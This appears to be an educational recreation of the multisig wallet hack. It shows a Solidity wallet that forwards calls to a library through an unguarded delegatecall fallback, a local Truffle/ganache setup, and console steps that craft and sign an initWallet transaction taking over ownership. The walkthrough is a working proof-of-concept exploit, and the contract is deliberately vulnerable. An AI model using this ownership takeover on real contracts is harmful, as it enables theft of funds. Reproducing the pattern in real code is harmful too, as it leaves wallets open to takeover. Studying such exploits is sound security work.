Simplified recreation of the multisig wallet hack.
$ truffle init$ npm init -y$ npm i -S ethereumjs-tx$ touch contracts/Wallet.sol
$ touch contracts/WalletLibrary.sol$ touch migrations/2_deploy_wallets.jspragma solidity ^0.4.6;
contract Wallet {
address public owner;
address public _walletLibrary;
function Wallet(address libAddress, address _owner) public {
_walletLibrary = libAddress;
_walletLibrary.delegatecall(bytes4(keccak256("initWallet(address)")), _owner);
}
function withdraw(uint amount) public returns (bool success) {
return _walletLibrary.delegatecall(bytes4(keccak256("withdraw(uint)")), amount);
}
function () payable {
_walletLibrary.delegatecall(msg.data);
}
}pragma solidity ^0.4.6;
contract WalletLibrary {
address owner;
function initWallet(address _owner) {
owner = _owner;
}
function changeOwner(address _newOwner) external {
if (msg.sender == owner) {
owner = _newOwner;
}
}
function () payable {}
function withdraw(uint amount) external returns (bool success) {
if (msg.sender == owner) {
return owner.send(amount);
} else {
return false;
}
}
}const WalletLibrary = artifacts.require("./WalletLibrary.sol");
const Wallet = artifacts.require("./Wallet.sol");
module.exports = function(deployer, network, accounts) {
deployer
.deploy(WalletLibrary)
.then(() =>
deployer.deploy(Wallet, WalletLibrary.address, accounts[0])
);
};module.exports = {
networks: {
development: {
host: "127.0.0.1",
port: 8545,
network_id: "*",
}
}
};$ ganache-cli -u 0 $ truffle migrate$ truffle consoletruffle(development)> Wallet.deployed().then(w => wallet = w)truffle(development)> wallet.owner.call()truffle(development)> data = web3.sha3('initWallet(address)').substring(0, 10)truffle(development)> data += '0'.repeat(24) + web3.eth.accounts[1].substring(2)truffle(development)> txParams = {
to: wallet.address,
from: web3.eth.accounts[1],
gasPrice: web3.toHex(30000),
gas: web3.toHex(1000),
data: data,
nonce: '0x0',
}truffle(development)> EthTxt = require('ethereumjs-tx')truffle(development)> tx = new EthTxt(txParams)truffle(development)> privateKey = Buffer.from(‘PRIVATE_KEY_OF_ATTACKER_ADDRESS’, ‘hex’)truffle(development)> tx.sign(privateKey)truffle(development)> web3.eth.sendRawTransaction(`0x${tx.serialize().toString('hex')}`)truffle(development)> wallet.owner.call()